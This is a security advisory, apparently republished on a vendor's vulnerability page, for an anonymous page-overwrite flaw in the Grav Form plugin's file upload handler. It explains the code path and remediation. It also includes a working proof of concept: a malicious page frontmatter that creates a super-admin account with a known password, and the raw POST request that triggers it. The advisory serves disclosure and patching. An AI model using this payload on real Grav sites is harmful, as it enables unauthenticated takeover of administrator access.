GHSA-w4rc-p66m-x6qq
Fix: getgrav/grav-plugin-form@48bacc4GHSA-w4rc-p66m-x6qq is a security vulnerability in getgrav/grav-plugin-form. O3 Security confirms whether GHSA-w4rc-p66m-x6qq is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Grav Form Plugin has an Anonymous Page Content Overwrite via Form File Upload filename Override
Real-World Exposure
getgrav/grav-plugin-formReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
(Tested on Form 9.0.3 released on April, 28th)
The Form plugin's file upload handler at user/plugins/form/classes/Form.php:583 accepts a POST-supplied filename parameter ($filename = $post['filename'] ?? $upload['file']['name']) that overrides the original uploaded filename. The override passes through Utils::checkFilename(), which blocks only a narrow extension list (.php*, .htm*, .js, .exe). Markdown (.md) is not blocked.
A page's directory under user/pages/ contains its .md content file (e.g. default.md, form.md). When a form's file upload field has accept: ['*'] (or any policy that admits text files), an unauthenticated visitor can:
- Upload arbitrary content with
filename=form.md(or other page-content filenames), - Submit the form to trigger
Form::copyFiles(), which overwrites the page's own.mdfile.
Details
Vulnerable code path
user/plugins/form/classes/Form.php:580-606 (in uploadFiles()):
$grav->fireEvent('onFormUploadSettings', new Event(['settings' => &$settings, 'post' => $post]));
$upload = json_decode(json_encode($this->normalizeFiles($_FILES['data'], $settings->name)), true);
$filename = $post['filename'] ?? $upload['file']['name']; // ← POST-controlled
// ...
if (!Utils::checkFilename($filename)) { // ← extension blocklist only
return ['status' => 'error', 'message' => 'Bad filename'];
}
Utils::checkFilename() (system/src/Grav/Common/Utils.php:980) blocks .., slashes, null bytes, leading/trailing dots, and the uploads_dangerous_extensions list. The default list contains: php, php2-5, phar, phtml, html, htm, shtml, shtm, js, exe. md is not on the list.
The MIME check (lines 627-654) uses Utils::getMimeByFilename($filename) against the blueprint's accept list. With accept: ['*'], all filenames pass.
After upload, the file is held in flash storage. When the form is submitted, Form::copyFiles() (user/plugins/form/classes/Form.php:1041-1074) calls $upload->moveTo($destination):
$destination = $upload->getDestination(); // ← determined at upload time:
// $destination = $page_dir . '/' . $filename
$folder = $filesystem->dirname($destination);
if (!is_dir($folder) && !@mkdir($folder, 0777, true) && !is_dir($folder)) { ... }
$upload->moveTo($destination);
moveTo() does not check whether $destination is an existing protected file — if form.md (the page's own content) already exists at the destination, it is overwritten.
A Grav page's .md file is parsed as YAML frontmatter + Markdown content. Whatever content the attacker uploaded becomes the new page definition.
PoC
Setup :
Any existing page with a form like this — a "generic upload" form is the realistic case:
---
title: Upload your file
form:
name: upform
fields:
- {name: img, type: file, multiple: false, accept: ['*'], destination: 'self@'}
- {name: notes, type: text}
buttons:
- {type: submit, value: Upload}
process:
- upload: true
- display: thanks
---
- Atacker uploads a malicious md file that replaces the form's md file. Lets say the form is under the path
/upload.
---
title: Pwned
form:
name: pwn
fields:
- {name: dummy, type: text}
buttons:
- {type: submit, value: Submit}
process:
- save:
folder: '../accounts'
filename: 'viaup.yaml'
extension: yaml
operation: create
body: |
state: enabled
email: [email protected]
fullname: Via Upload
title: Admin
access:
admin: { login: true, super: true }
site: { login: true }
hashed_password: $2y$10$zGRm19Dk5ivMFZS5taMtU.O8WDUZpTqSsSg8JFs4SwOxJ/N6wl/Uq
- display: thanks
---
(Hash above is bcrypt for PwnPass123!.)
- Attacker accesses the new markdown file under the original path and loads the new markdown file
GET /upload. - Attacker sends a form POST request to
/uploadand change the form_name to whatever the payload form name is. Keep in mind the nonce has to be valid.
POST /upload HTTP/1.1
------geckoformboundary44d7ad8deb57480098493877a35ad715
Content-Disposition: form-data; name="data[_json][img]"
[]
------geckoformboundary44d7ad8deb57480098493877a35ad715
Content-Disposition: form-data; name="data[notes]"
------geckoformboundary44d7ad8deb57480098493877a35ad715
Content-Disposition: form-data; name="__form-name__"
pwn
------geckoformboundary44d7ad8deb57480098493877a35ad715
Content-Disposition: form-data; name="__unique_form_id__"
8r7q1iwdnnmcgkohlbtj
------geckoformboundary44d7ad8deb57480098493877a35ad715
Content-Disposition: form-data; name="form-nonce"
4e9417f0c7e89d1ab4e0dbe136ec78bd
------geckoformboundary44d7ad8deb57480098493877a35ad715--
- Login as a newly created super admin user.
Impact
Grav pages that allows user to uploads any file (besides the ones in the blocklist) with the default self@ configuration is able to upload a malicious markdown file to overwrite the existing markdown file. In this case, unauthenticated users were able to escalate their privileges to super-admin.
Remediation
Block sensitive page-content filenames at upload
In user/plugins/form/classes/Form.php, after Utils::checkFilename() succeeds, add a content-area-aware check:
// Block files that would overwrite Grav page content if uploaded into
// a page directory. Page templates are .md (Markdown) and .yaml/.yml
// (frontmatter overrides). Block both for safety.
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
$pageContentExtensions = ['md', 'yaml', 'yml', 'json', 'twig'];
if (in_array($ext, $pageContentExtensions, true)) {
return [
'status' => 'error',
'message' => 'File type not allowed for upload (page content files are blocked)',
];
}
Add md, yaml, yml, json, twig, ini to the global security.uploads_dangerous_extensions list — these all carry executable semantics in Grav's runtime even though they are not "PHP".
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | getgrav/grav-plugin-form | all versions | 9.1.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for getgrav/grav-plugin-form. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update getgrav/grav-plugin-form to 9.1.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-w4rc-p66m-x6qq is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-w4rc-p66m-x6qq is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-w4rc-p66m-x6qq. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-w4rc-p66m-x6qq in your dependencies?
O3 detects GHSA-w4rc-p66m-x6qq across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.